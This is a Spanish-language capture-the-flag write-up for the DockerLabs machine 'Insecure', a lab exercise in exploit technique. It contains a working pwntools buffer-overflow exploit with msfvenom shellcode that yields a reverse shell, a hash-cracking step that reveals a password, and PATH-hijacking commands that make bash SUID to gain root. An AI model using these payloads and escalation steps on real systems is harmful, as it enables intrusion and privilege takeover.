> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/insecure.md).
# Insecure
Datos
* Máquina -> Insecure
* Dificultad -> Difícil
* Creador -> [4bytes](https://github.com/4bytess/)
La IP que debemos vulnerar es la `172.17.0.2`, lo primero que are es verificar conectividad con la víctima de la siguiente manera.
```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.124 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.124/0.124/0.124/0.000 ms
```
Como podemos apreciar, hay conexión con el equipo, mediante el **TTL** podemos intuir que estamos frente a una máquina **Linux**, ahora después de crear nuestros directorios de trabajo con `mkt`, entramos a la carpeta **nmap** para buscar que puertos están expuestos.
```bash
nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
```
**Resultado**
Podemos notar **2** puertos abiertos, el **80** y el **20201**:
El puerto **20201** corre una especie de binario, por ahora no podemos explotarlo, vallamos a ver la página web:
Nos deja descargar un binario con nombre **secure\_software**, que si lo ejecutamos se pone en escucha por el puerto **20201**, si nos conectamos con `nc` notaremos que el mismo binario que corre en el servidor.
> Este binario lo tome como ejemplo, para explicar como se acontece un **Buffer Overflow**, pueden ver la resolución en: [Introduccion al Buffer Overflow](https://novahacking.gitbook.io/anonymous17/articulos/introduccion-al-buffer-overflow)
**`exploit.py`**:
```python
#!/usr/bin/python3
from pwn import *
def exploit():
host="172.17.0.2"
port=20201
offset = 300 # Tamaño exacto antes de EIP
buffer = b"A" * offset # Relleno antes de sobrescribir EIP
eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
nops = b"\x90" * 32 # NOP sled para estabilidad
# Shellcode generado con msfvenom
shellcode = b""
shellcode += b"\xba\x09\xdc\x81\x12\xd9\xc1\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x12\x31\x50\x12\x03\x50\x12"
shellcode += b"\x83\xe1\x20\x63\xe7\xc0\x03\x93\xeb\x71\xf7"
shellcode += b"\x0f\x86\x77\x7e\x4e\xe6\x11\x4d\x11\x94\x84"
shellcode += b"\xfd\x2d\x56\xb6\xb7\x28\x91\xde\xeb\xda\x61"
shellcode += b"\x1f\x9c\xde\x61\x1b\x8e\x56\x80\x93\x48\x39"
shellcode += b"\x12\x80\x27\xba\x1d\xc7\x85\x3d\x4f\x6f\x78"
shellcode += b"\x11\x03\x07\xec\x42\xcc\xb5\x85\x15\xf1\x6b"
shellcode += b"\x05\xaf\x17\x3b\xa2\x62\x57"
# Estructura final del payload
esp = nops + shellcode # NOP sled seguido del shellcode
payload = buffer + eip + esp # Buffer final
# Envío del exploit al servicio objetivo
try:
print("\n[*] Iniciando Ataque...")
conn=remote(host,port)
conn.sendline(payload)
conn.close()
print("[+] Payload enviado correctamente!!!\n")
except Exception as e:
print(f"\n[-] Error al enviar el payload: {e}\n")
if __name__ == '__main__':
exploit()
```
Nos ponemos en escucha por el puerto 1234 y ejecutamos el `exploit.py`:
Todo funciona correctamente, y ahora estamos dentro del servidor víctima como el usuario `securedev`, ahora hay que buscar una forma de escalar privilegios a **root**, si entramos a la `home` de este usuario encontraremos un `hashfile`:
Si usamos el módulo `enumerate.user` de `pwncat-cs` veremos que:
`johntheripper` es un usuario, en local podemos usar `hashid` para ver qué tipo de hash está en el archivo que encontramos:
Lo más probable es que sea un `md5`, usaré mi script en **python** para intentar hacerle fuerza bruta:
La contraseña no se encuentra en `rockyou.txt`, por lo tanto, buscaré más archivos en el servidor, específicamente archivos que pertenezcan a `johntheripper`, esto lo podemos hacer con el comando `find` de la siguiente manera:
```bash
find / -user johntheripper 2>/dev/null
```
**Resultado**
Nos devuelve 2 resultados, uno de ellos es `/opt/.hidden/words` que al ver las primeras líneas con `head` notamos una lista de palabras, puede que la contraseña de `johntheripper` este hay, lo descargaremos y usaremos como **WordLists**.
Contraseña encontrada `tset0tevst!`.
Y vemos que efectivamente funciona, ahora buscaremos la manera de convertirnos en **root**.
En la `home` de `johntheripper` hay un binario **SUID** llamado `show_files` que si lo ejecutamos podemos ver como la salida es similar al comando `ls`, pero para estar seguros podemos descargar el binario y agregarlo a `ghidra`, y en `CodeBrowser` podemos ver el posible código **c**:
Efectivamente, usa la función `system` para ejecutar `ls`, pero comenten un error y es usar la ruta relativa de `ls` y no la absoluta, cuando ejecuta `ls`, el sistema busca las rutas del `$PATH`, para buscar donde se encuentra `ls`, en cambio, la forma segura de hacerlo es ejecutando directamente la ruta donde se encuentre `ls`, entonces ahora sabemos que estamos frente a **PATH Hijacking**, a continuación muestro los comandos necesarios para cambiar el `$PATH` y crear un script `ls` que convierta la `bash` en **SUID**:
```bash
echo "chmod u+s /bin/bash; echo 'bash -> SUID'" > ls
chmod 755 ls
cat ls
export PATH=/home/johntheripper:$PATH
./show_files
bash -p
```
**Resultado**
Con esto ya hemos resuelto este ctf.